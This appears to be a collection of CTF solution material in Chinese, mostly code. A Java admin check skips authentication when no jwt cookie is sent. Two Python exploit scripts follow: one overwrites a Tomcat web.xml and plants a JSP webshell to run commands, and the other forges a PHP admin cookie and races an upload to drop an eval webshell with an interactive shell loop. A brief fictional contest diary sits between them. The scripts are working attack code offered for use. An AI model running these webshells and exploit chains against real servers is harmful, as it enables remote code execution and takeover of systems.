1
    static boolean validateAdmin(HttpServletRequest req, HttpServletResponse resp) throws IOException {
2
        Cookie[] cookies = req.getCookies();
3
        if (cookies != null) {
4
            for(Cookie cookie : cookies) {
5
                if ("jwt".equals(cookie.getName())) {
6
                    String value = cookie.getValue();
7
                    String username = JwtUtil.validateToken(value);
8
                    if (username == null) {
9
                        resp.sendError(401);
10
                        return false;
11
                    }
12

13
                    if (username.compareTo("admin") != 0) {
14
                        resp.sendError(401);
15
                        return false;
16
                    }
17
                }
18
            }
19
        }
20

21
        resp.setContentType("application/json;charset=UTF-8");
22
        return true;
23
    }

1
File base = (new File(this.getServletContext().getRealPath(resourceDir))).getCanonicalFile();

1
import requests
2
import time
3
import sys
4

5
# ================= 配置区域 =================
6
URL = "http://192.168.18.25:25004"
7
CMD_TO_EXECUTE = "cat /flag"  # 获取 flag 的命令
8
PROXY = None # {"http": "http://127.0.0.1:8080"}  # 如果需要 Burp 调试，取消注释
9

10
# ================= Payload 构造 =================
11

12
# 1. 恶意的 web.xml (修正版：包含原有业务配置)
13
# 作用：在保留原有上传/管理功能的基础上，强行开启 JSP 解析
14
MALICIOUS_WEB_XML = """<?xml version="1.0" encoding="UTF-8"?>
15
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
16
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
17
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
18
         http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
19
         version="4.0">
20

21
  <servlet>
22
      <servlet-name>jsp</servlet-name>
23
      <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
24
      <init-param>
25
          <param-name>fork</param-name>
26
          <param-value>false</param-value>
27
      </init-param>
28
      <init-param>
29
          <param-name>xpoweredBy</param-name>
30
          <param-value>false</param-value>
31
      </init-param>
32
      <load-on-startup>3</load-on-startup>
33
  </servlet>
34
  <servlet-mapping>
35
      <servlet-name>jsp</servlet-name>
36
      <url-pattern>*.jsp</url-pattern>
37
  </servlet-mapping>
38

39
  <servlet>
40
    <servlet-name>LoginServlet</servlet-name>
41
    <servlet-class>com.ctf.LoginServlet</servlet-class>
42
  </servlet>
43
  <servlet>
44
    <servlet-name>RegisterServlet</servlet-name>
45
    <servlet-class>com.ctf.RegisterServlet</servlet-class>
46
  </servlet>
47

48
  <servlet>
49
    <servlet-name>DashboardServlet</servlet-name>
50
    <servlet-class>com.ctf.DashboardServlet</servlet-class>
51
    <multipart-config>
52
      <max-file-size>10485760</max-file-size>
53
      <max-request-size>20971520</max-request-size>
54
      <file-size-threshold>0</file-size-threshold>
55
    </multipart-config>
56
  </servlet>
57

58
  <servlet>
59
    <servlet-name>AdminDashboardServlet</servlet-name>
60
    <servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
61
    <multipart-config>
62
      <max-file-size>10485760</max-file-size>
63
      <max-request-size>20971520</max-request-size>
64
      <file-size-threshold>0</file-size-threshold>
65
    </multipart-config>
66
  </servlet>
67

68
  <servlet>
69
    <servlet-name>BackUpServlet</servlet-name>
70
    <servlet-class>com.ctf.BackUpServlet</servlet-class>
71
  </servlet>
72

73
  <servlet-mapping>
74
    <servlet-name>LoginServlet</servlet-name>
75
    <url-pattern>/login</url-pattern>
76
  </servlet-mapping>
77
  <servlet-mapping>
78
    <servlet-name>RegisterServlet</servlet-name>
79
    <url-pattern>/register</url-pattern>
80
  </servlet-mapping>
81
  <servlet-mapping>
82
    <servlet-name>DashboardServlet</servlet-name>
83
    <url-pattern>/dashboard/*</url-pattern>
84
  </servlet-mapping>
85
  <servlet-mapping>
86
    <servlet-name>AdminDashboardServlet</servlet-name>
87
    <url-pattern>/admin/*</url-pattern>
88
  </servlet-mapping>
89
  <servlet-mapping>
90
    <servlet-name>BackUpServlet</servlet-name>
91
    <url-pattern>/backup/*</url-pattern>
92
  </servlet-mapping>
93

94
  <welcome-file-list>
95
    <welcome-file>index.html</welcome-file>
96
  </welcome-file-list>
97
</web-app>
98
"""
99

100
# 2. JSP Webshell (增强版：支持标准输出和错误输出)
101
JSP_SHELL = r"""<%@ page import="java.io.*,java.util.*" %>
102
<pre>
103
<%
104
    String cmd = request.getParameter("cmd");
105
    if (cmd != null) {
106
        // 使用 /bin/sh -c 兼容管道符和复杂命令
107
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
108
        InputStream in = p.getInputStream();
109
        Scanner s = new Scanner(in).useDelimiter("\\A");
110
        String output = s.hasNext() ? s.next() : "";
111

112
        InputStream err = p.getErrorStream();
113
        Scanner sErr = new Scanner(err).useDelimiter("\\A");
114
        String error = sErr.hasNext() ? sErr.next() : "";
115

116
        out.println(output + error);
117
    }
118
%>
119
</pre>"""
120

121
# ================= 工具函数 =================
122

123
def set_resource_dir(path):
124
    """利用 Auth Bypass 设置 resourceDir 为 WebRoot"""
125
    print(f"[*] Setting ResourceDir to: {path}")
126
    try:
127
        # 关键：不带 cookies 触发 Auth Bypass
128
        r = requests.post(f"{URL}/admin/challengeResourceDir",
129
                          data={"new-path": path},
130
                          proxies=PROXY)
131
        if r.status_code == 200:
132
            print("[+] ResourceDir set successfully.")
133
            return True
134
        else:
135
            print(f"[-] Failed to set ResourceDir: {r.status_code} - {r.text}")
136
            return False
137
    except Exception as e:
138
        print(f"[-] Error: {e}")
139
        return False
140

141
def upload_file(filename, content):
142
    """模拟文件上传，目标接口通常是 /dashboard/upload 或 /admin/upload"""
143
    print(f"[*] Uploading/Writing file: {filename}")
144
    try:
145
        files = {'file': (filename, content)}
146
        # 尝试使用 dashboard upload，如果失败可以换 /admin/upload
147
        upload_url = f"{URL}/dashboard/upload"
148
        # upload_url = f"{URL}/admin/upload" # 备用接口
149

150
        r = requests.post(upload_url, files=files, proxies=PROXY)
151

152
        if r.status_code == 200:
153
            print(f"[+] File {filename} uploaded.")
154
            return True
155
        else:
156
            # 有时候虽然报 500 或其他错，但文件其实写进去了，检查一下
157
            print(f"[-] Upload status: {r.status_code}. Checking file existence...")
158
            check = requests.get(f"{URL}/{filename}", proxies=PROXY)
159
            if check.status_code == 200:
160
                print(f"[+] Check passed: {filename} exists on server.")
161
                return True
162
            return False
163
    except Exception as e:
164
        print(f"[-] Upload Error: {e}")
165
        return False
166

167
def rename_file(old_path, new_path):
168
    """利用 rename 接口移动/覆盖文件"""
169
    print(f"[*] Renaming {old_path} -> {new_path}")
170
    try:
171
        r = requests.post(f"{URL}/admin/rename",
172
                          data={"oldPath": old_path, "newName": new_path},
173
                          proxies=PROXY)
174
        # 检查返回内容确认是否成功
175
        if r.status_code == 200 and ('"renamed":true' in r.text or 'true' in r.text):
176
            print("[+] Rename successful.")
177
            return True
178
        else:
179
            print(f"[-] Rename failed: {r.text}")
180
            return False
181
    except Exception as e:
182
        print(f"[-] Rename Error: {e}")
183
        return False
184

185
def execute_cmd(shell_name, cmd):
186
    print(f"[*] Executing command: {cmd}")
187
    try:
188
        target = f"{URL}/{shell_name}"
189
        r = requests.get(target, params={"cmd": cmd}, proxies=PROXY)
190
        if r.status_code == 200:
191
            print("\n" + "="*20 + " OUTPUT " + "="*20)
192
            print(r.text.strip())
193
            print("="*48 + "\n")
194
        else:
195
            print(f"[-] Execution failed: {r.status_code}")
196
    except Exception as e:
197
        print(f"[-] Exec Error: {e}")
198

199
# ================= 主流程 =================
200

201
def main():
202
    print("[*] Starting Exploitation...")
203

204
    # 1. 设置 ResourceDir 为 WebRoot (.)
205
    # 这是所有文件操作的前提，打破目录限制
206
    if not set_resource_dir("."):
207
        return
208

209
    # 2. 上传包含完整配置的恶意 web.xml
210
    # 先传为临时文件，防止直接覆盖出错
211
    temp_xml_name = "pwn_web.xml"
212
    if not upload_file(temp_xml_name, MALICIOUS_WEB_XML):
213
        print("[-] Aborting: Failed to upload web.xml content.")
214
        return
215

216
    # 3. 覆盖 WEB-INF/web.xml
217
    # 这一步会触发 Tomcat 重载
218
    if not rename_file(temp_xml_name, "WEB-INF/web.xml"):
219
        print("[-] Aborting: Failed to overwrite web.xml.")
220
        return
221

222
    # 4. 等待 Tomcat 重载配置 (Reload Context)
223
    print("[*] Waiting 15 seconds for Tomcat to reload configuration...")
224
    time.sleep(15)
225

226
    # 5. 【重要补刀】重载后，ResourceDir 变量可能会重置回默认值
227
    # 所以为了保险，我们再次将其设置为 "."，确保后续上传的 shell 能被正确 rename
228
    print("[*] Re-setting ResourceDir to . after reload...")
229
    set_resource_dir(".")
230

231
    # 6. 上传并部署 JSP Shell
232
    # 先传为 txt 绕过可能存在的后缀检查（虽然 web.xml 已经放行了，但稳健为主）
233
    temp_shell_name = "shell.txt"
234
    final_shell_name = "shell.jsp"
235

236
    if not upload_file(temp_shell_name, JSP_SHELL):
237
        print("[-] Failed to upload shell content.")
238
        return
239

240
    if not rename_file(temp_shell_name, final_shell_name):
241
        print("[-] Failed to rename shell to .jsp.")
242
        return
243

244
    # 7. 执行命令获取 Flag
245
    print("[+] Exploit chain completed! Testing RCE...")
246
    execute_cmd(final_shell_name, CMD_TO_EXECUTE)
247

248
if __name__ == "__main__":
249
    main()

1
 CTF 比赛日记：小明的一天
2

3
今天，小明参加了一个线下 CTF（Capture The Flag）比赛。这是他第一次真正参与这类比赛，虽然之前在网上做过一些 CTF 题目，但和真正的比赛还是有很大的区别。
4

5
 遇到的挑战与解题过程
6

7
1. 密码学挑战（Crypto）
8

9
比赛一开始，小明就被一道加密题难住了。
10

11
题目特征： 密文看起来像是 Base64 编码，但解码后依然不对劲。
12

13
解题思路： 小明回忆起曾学过如何处理 异或加密（XOR），于是决定尝试使用一些常见的异或破解工具。
14

15
结果： 最终顺利破解了这一关。
16

17
2. Web 安全挑战（Web Security）
18

19
接下来是一道 Web 安全题目，是一个简单的登录界面。
20

21
题目特征： 登录界面。
22

23
攻击尝试： 经过一些基本的 SQL 注入（SQL Injection, SQLi） 尝试后 , 他发现系统对用户名输入没有进行适当的过滤。
24

25
结果： 成功执行了 SQL 注入，获取到了管理员的用户名和密码。
26

27
3. 二进制逆向挑战（Reverse Engineering, Re）
28

29
晚上，小明和队友们讨论了一个二进制逆向题。
30

31
题目特征： 题目提供了一个加密的文件，要求找出密钥。
32

33
解题过程： 通过 静态分析 和 动态调试 的方法。
34

35
结果： 最终找到了密钥并提交了解题结果。
36

37
 比赛总结与展望
38

39
小明觉得整个过程非常充实和有趣。
40

41
自我认知： 他意识到自己在 CTF 领域的不足，特别是在一些 二进制逆向 和 网络安全 方面。
42

43
收获： 今天的比赛让他学到了很多新的知识，也激发了他继续挑战更高难度题目的动力。
44

45
期待下次能够表现得更好！

1
import requests
2
import threading
3
import time
4
import sys
5
from concurrent.futures import ThreadPoolExecutor, as_completed
6

7
TARGET_HOST = "192.168.18.26"
8
TARGET_PORT = 25002
9
BASE_URL = f"http://{TARGET_HOST}:{TARGET_PORT}"
10
UPLOAD_URL = f"{BASE_URL}/upload.php"
11

12
COOKIE = "user_auth=Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjQ6InRlc3QiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ=="
13

14
cookies = {"user_auth": COOKIE.split("=", 1)[1]}
15

16
# 全局标志：是否已成功写入 shell
17
shell_written = False
18
lock = threading.Lock()
19

20
# 请求会话（复用连接，提升性能）
21
session = requests.Session()
22
session.cookies.update(cookies)
23
session.headers.update({
24
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
25
})
26

27
def safe_post(url, files=None, data=None, timeout=5):
28
    try:
29
        return session.post(url, files=files, data=data, timeout=timeout)
30
    except Exception:
31
        return None
32

33
def safe_get(url, timeout=3):
34
    try:
35
        return session.get(url, timeout=timeout)
36
    except Exception:
37
        return None
38

39
def upload_htaccess():
40
    files = {
41
        'file': ('.htaccess', b'Require all granted', 'image/jpeg'),
42
        'upload': (None, '上传文件')
43
    }
44
    resp = safe_post(UPLOAD_URL, files=files, timeout=6)
45
    if resp and resp.status_code < 400:
46
        print("[+] .htaccess 上传成功")
47
    else:
48
        print("[-] .htaccess 上传失败或被拒绝")
49

50
def upload_test_php_worker():
51
    global shell_written
52
    # 使用单引号包裹外层，避免转义；内层用双引号
53
    payload_content = b"<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST[\"cmd\"]); ?>'); phpinfo(); ?>"
54
    while not shell_written:
55
        files = {
56
            'file': ('test.php', payload_content, 'image/jpeg'),
57
            'upload': (None, '上传文件')
58
        }
59
        safe_post(UPLOAD_URL, files=files, timeout=4)
60
        time.sleep(0.01)  # 避免压垮本地资源
61

62
def trigger_tmp_worker():
63
    global shell_written
64
    trigger_url = f"{BASE_URL}/tmp/test.php"
65
    while not shell_written:
66
        resp = safe_get(trigger_url, timeout=2)
67
        if resp and resp.status_code == 200:
68
            # 判断是否包含 phpinfo 特征 或 至少有 PHP 输出
69
            if b"PHP Version" in resp.content or b"<title>PHP" in resp.content:
70
                with lock:
71
                    if not shell_written:
72
                        shell_written = True
73
                        print("\n[!!!] 成功触发 /tmp/test.php！shell.php 应已写入（密码: cmd）")
74
        time.sleep(0.02)
75

76
def exploit_shell():
77
    shell_url = f"{BASE_URL}/tmp/shell.php"
78
    test_payload = {"cmd": "echo 'SHELL_READY_12345';"}
79
    try:
80
        resp = session.post(shell_url, data=test_payload, timeout=6)
81
        if resp and "SHELL_READY_12345" in resp.text:
82
            print("[+] shell.php 可用！密码参数为 'cmd'")
83
            print("[*] 输入命令执行（输入 'exit' 退出）")
84
            while True:
85
                try:
86
                    cmd = input("\n[#] $ ").strip()
87
                    if cmd.lower() in ("exit", "quit"):
88
                        break
89
                    if not cmd:
90
                        continue
91
                    # 执行系统命令
92
                    exec_payload = {"cmd": f"system('{cmd}');"}
93
                    r = session.post(shell_url, data=exec_payload, timeout=12)
94
                    if r:
95
                        # 清理多余 HTML（可选）
96
                        output = r.text
97
                        print(output)
98
                    else:
99
                        print("[-] 请求无响应")
100
                except KeyboardInterrupt:
101
                    print("\n[!] 中断命令输入")
102
                    break
103
        else:
104
            print("[-] shell.php 未生效（可能写入失败或路径错误）")
105
            # 尝试直接访问看是否存在
106
            check = safe_get(shell_url)
107
            if check and check.status_code == 200:
108
                print("    [?] shell.php 存在但无法执行命令（可能 disable_functions）")
109
            else:
110
                print("    [?] shell.php 不存在")
111
    except Exception as e:
112
        print(f"[-] 访问 shell.php 出错: {e}")
113

114
def main():
115
    global shell_written
116
    print(f"[+] 目标: {BASE_URL}")
117
    print("[*] 正在上传 .htaccess...")
118
    upload_htaccess()
119

120
    print("[*] 启动高并发条件竞争（上传 + 触发）...")
121
    total_workers = 50  # 总线程数
122
    upload_workers = 35
123
    trigger_workers = 15
124

125
    with ThreadPoolExecutor(max_workers=total_workers) as executor:
126
        futures = []
127

128
        # 提交上传任务
129
        for _ in range(upload_workers):
130
            futures.append(executor.submit(upload_test_php_worker))
131

132
        # 提交触发任务
133
        for _ in range(trigger_workers):
134
            futures.append(executor.submit(trigger_tmp_worker))
135

136
        # 等待任一成功信号
137
        while not shell_written:
138
            time.sleep(0.1)
139

140
        # 取消所有任务（非强制，但停止新任务）
141
        print("[*] 条件竞争成功，等待线程收尾...")
142

143
    # 利用 shell
144
    exploit_shell()
145

146
if __name__ == "__main__":
147
    try:
148
        main()
149
    except KeyboardInterrupt:
150
        print("\n[!] 用户强制退出")
151
        sys.exit(1)
152
    except Exception as e:
153
        print(f"[!] 脚本异常: {e}")
154
        sys.exit(1)